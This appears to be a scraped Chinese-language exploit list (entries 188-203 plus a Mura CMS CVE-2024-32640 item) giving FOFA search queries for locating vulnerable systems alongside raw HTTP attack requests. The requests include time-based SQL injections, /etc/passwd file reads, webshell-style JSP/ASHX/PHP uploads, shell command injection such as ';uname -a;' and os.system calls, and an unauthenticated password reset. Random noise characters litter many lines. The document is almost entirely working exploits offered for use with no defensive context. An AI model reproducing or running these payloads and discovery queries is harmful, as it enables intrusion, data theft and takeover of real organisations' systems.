, L! O! L  W& Q& mCVE-2024-32640
FOFA："Mura CMS"
3 U) d3 v+ ~6 B' |8 b& V2 ?POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
2 i& {6 c) k. W1 V/ gContent-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

% m5 h  W" x! Q
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
6 ?$ A/ k/ {/ L7 C3 f) NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
1 b4 x  J# m: P/ mConnection: close
: i9 e7 [( S4 C0 C( x
; W/ `+ |) e( Z3 p* }5 b0 [; u
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
1 s+ @$ g/ }- U' z9 O0 j) [Host: your-ip
$ L3 w4 `0 b& [  SUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. J7 P" N( H, KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 d' Q& ]0 M2 c# n
' f* g% @! L/ H( L1 U; p, C
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
+ ^' i2 T5 P9 I; j7 l+ W% k$ JPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
: U4 |$ n) U1 G" N# SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
' U; f, f  s5 r+ {1 ]Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. A0 p& D, s6 c* b1 f; g; e
8 b8 s; _/ r9 k$ V' E6 w7 Mpoi=file:///etc/passwd
8 ^! c' `6 Y( [0 t( r
8 d" m6 J8 I9 P; o. d" J. Y' s7 b
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
3 T# p: \  ^3 d: lFOFA：body="/CDGServer3/index.jsp"
+ u1 y+ Z! E) mPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
# b1 v7 H7 e2 E9 ?" G! ^) nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  @6 M/ M  ~5 n% ~$ f
7 P2 Y" H7 X: ?command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
+ D2 X7 B! }: e) t( Z1 _2 o3 BHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
! O, L) ?7 N5 i& W' e: FContent-Type: application/x-www-form-urlencoded

: Z: a) g8 ?" Z& b( k2 [/ G
% h, S2 a, T' V<% @ webhandler language="C#" class="AverageHandler" %>
8 Q2 Q& \) K' V. {. Lusing System;
3 ]' j; M! ~: i" C2 v, `% ?# \using System.Web;
  R$ n" l! w. ppublic class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
/ s0 |$ h5 q- u8 k; u; Jpublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
( z# I8 W( f1 s. b" U}
}
" N. [; `3 }; m$ U

5 H/ h8 @% {3 R3 j9 a! a. y193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
: E  Z  b0 ]  x. B& FCookie: PHPSESSID=2333333333333;
: @& i; c1 b' N) t5 T" KContent-Type: application/x-www-form-urlencoded
$ A: s$ C& @0 D2 G! S3 q5 Y/ gUser-Agent: Mozilla/5.0
) ?4 C) J) H2 _$ Z, \3 j
- ~- F* E) h: L* b6 V7 s( c7 r
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
! @% p% U8 ?  |* n; WUser-Agent: Mozilla/5.0
" K  q; K/ M( {Accept-Encoding: gzip, deflate
# f; ^; A! l6 K) LAccept: */*
) P/ f3 K- h7 l5 O5 }Connection: close
" [0 S1 s: i$ w" q" G1 uCookie: PHPSESSID=2333333333333;
$ C7 d% m  d9 G/ r1 \" _Content-Type: application/x-www-form-urlencoded
; b, A! f0 b9 J2 W# ^$ b; u, {$ DContent-Length: 84

0 `$ W" m( [- M; Iparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


# G' x6 e- l6 g+ c1 EGET /master/img/config HTTP/1.1
  s: W, z3 c$ T- C. YHost:
User-Agent: Mozilla/5.0
$ z, G7 ^1 ^; |) O" Q8 S8 f

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
3 o# H0 t% S8 A( E0 }Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' W. S9 m+ u& ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
% [# D5 C0 B* i' |& f& s
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
8 B: s% r' |8 H; s( X7 {) H------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

# s7 Y' _" Q# q! I3 W& Q6 |
  W' S! R/ D& A  L& T195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
8 S" H8 r# e5 G5 b% PPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  ^8 i4 U  q$ D4 X) d' pAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 A8 {9 M. o) O1 QContent-Type: application/x-www-form-urlencoded
Content-Length: 68
  Z( x6 p) i$ m3 V6 @1 ?
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
; c) Q+ L5 V3 g2 J5 ?4 ]
+ D6 {% C2 I! r& h: G
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
7 R0 b2 I8 d' c/ n8 i- g1 lContent-Type: application/json;charset=UTF-8
5 [( Y$ Q+ Q- {/ U. q2 yX-Requested-With: XMLHttpRequest
Host:
4 z' y2 d- X; G- T9 m' ^8 o4 W2 NAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
( Q, H8 A# b, C7 G) m; iConnection: close

9 V; v$ z) a- ?( E/ K- _; y{"xgh":"test","newPass":"test666","email":""}

5 k& X3 @) p% X; ]/ v
; R' l0 G- Y$ i, y
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
9 t! {4 s& z" `) v4 U. `4 Z, dGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
7 P  c, O( {( @$ w+ q( PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
; }0 [  [0 y- H  _# y: ]
2 h0 _4 W, W( G$ m* [

$ r9 @: A3 J% X9 @+ z, _198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
1 u# d0 B7 v8 R' \- ~Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
* {! U0 ^1 u1 L, u0 \, Y3 k! ?/ qConnection: close


% \/ e. |0 y* W  {( |' F199. cockpit系统assetsmanager_upload接口 文件上传
' x! Y+ Q" s5 a! V& z5 F; d
. Y( u8 u5 d0 X7 [1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
, U( ^3 r/ h! b2 x( c, Q5 t. UGET /auth/login?to=/ HTTP/1.1
9 M! q/ M! Q. D+ g
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
3 H# f9 D# U" M+ N+ k4 b5 j
3 _, S  S: D' K! L  s2.使用刚才上一步获取到的jwt获取cookie：
& g: m6 x4 F! n, [8 b  m
0 M0 m$ l  ^- W2 E% tPOST /auth/check HTTP/1.1
Content-Type: application/json

( C+ h% x$ p, O- y6 F{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

0 x4 Q& l1 A5 ?, @) W响应：200，返回值:
$ q+ f" `/ E0 O% T2 N' s8 _4 e4 HSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
# X; H! Z. D  `  k8 R2 X' sFofa：title="Authenticate Please!"
  q% U0 |4 I3 y! A0 W. U& GPOST /assetsmanager/upload HTTP/1.1
1 L5 B, _6 ?/ e# i! B. O; ^/ GContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
- \5 t0 |) I+ I, x9 C
3 w; Q5 D, T2 u; V<?php echo "tttt";unlink(__FILE__);?>
5 B2 X9 C1 g+ T% R3 k* ]2 B-----------------------------36D28FBc36bd6feE7Fb3
  {6 A+ r9 Q- i  S1 n5 X% `Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
9 z; H4 V/ C, j( O
: |, g7 S. W( Y0 @6 Q9 Q: s
7 J4 r8 Q5 p, R4 E/ C/storage/uploads/tttt.php
7 u# I( g# z. i5 |0 v" \7 ?# K( v& g
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
$ X. M% T1 }* N3 ZGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ Y1 j% l0 E/ ~6 w6 `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

& B- F6 A& V$ ^6 Z: T& n/ y+ N
201. 方正全媒体新闻采编系统 binary SQL注入
. [: I0 j+ r/ ]/ P$ ]) _2 j* h5 xFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
+ A, x4 K) q# D$ y# w6 K( a! OPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
" c* [' h- F2 x" c/ u, E7 k- IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% d7 [' D' Q; a- w6 c4 H7 ]Accept-Encoding: gzip, deflate
! ?% z& C: t( E+ _( P2 oAccept-Language: zh-CN,zh;q=0.9
9 ]! O- F  K( n4 VConnection: close
- n2 o6 w) {6 r8 M3 m0 _
7 G& b- \1 @* L& @% ~/ ~% G$ \8 eTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
, N, t2 l  i$ Z
+ c( ~2 I* U4 E0 a) m
' k2 w: z) k9 r' y202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
9 X- V% y$ b6 R: M9 M, p" c6 V6 K) [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
  c% r3 Q1 B0 Y  m
7 W/ z! Z" W- q# P7 O
& J3 f  a5 T3 S# A' z3 K: J$ q替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
* i1 _$ o; i) H* X. {Accept-Encoding: gzip, deflate, br
- l% H! |5 z. E' gContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

$ }; ^' ]0 c7 t! M__VIEWSTATE
1 j1 u3 T( U7 Q3 _* i" A-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
  b" D/ A/ i- B4 C2 h
__EVENTVALIDATION
, P; `5 W* b3 V3 L/ C: N& s5 J-----------------------------786435874t38587593865736587346567358735687
8 [1 R0 f! L$ X* {Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

0 d1 b4 u8 e: x4 c2 Q  n" W. EHello World!
-----------------------------786435874t38587593865736587346567358735687
+ a4 e$ w% ~4 A- M; BContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

% u& F3 n+ I; A3 `4 W
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
! p* d; x9 x- z
* _$ B8 l8 i. \
-----------------------------786435874t38587593865736587346567358735687--

! p0 b7 D/ R' {3 x& }, O
) C. C! U3 D6 N1 A) l/_data/Uploads/1123.txt
) H. p5 W2 ]0 j3 ]
; w2 g8 d9 \% H203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
3 M2 Q. B! y* t2 F- r0 UHost: x.x.x.x
Accept-Encoding: gzip
) ?+ Q, M/ f3 @& C! E( bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ L* l% b' y% \' \Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
$ I) z* ~, h# n6 Y9 {; O$ I, dContent-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
; E+ I, Q4 Y7 }2 o* j- mContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
$ S* H& ^+ q1 t* e/ ^5 wContent-Type:image/jpeg
. I# U3 q8 O* v( {6 u; ]. d
* D3 [  a4 ^* l) q8 Z8 J! K<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
" u8 S6 K2 d1 {% R# |* u

* z) I- z( l, C2 c6 O7 ]' g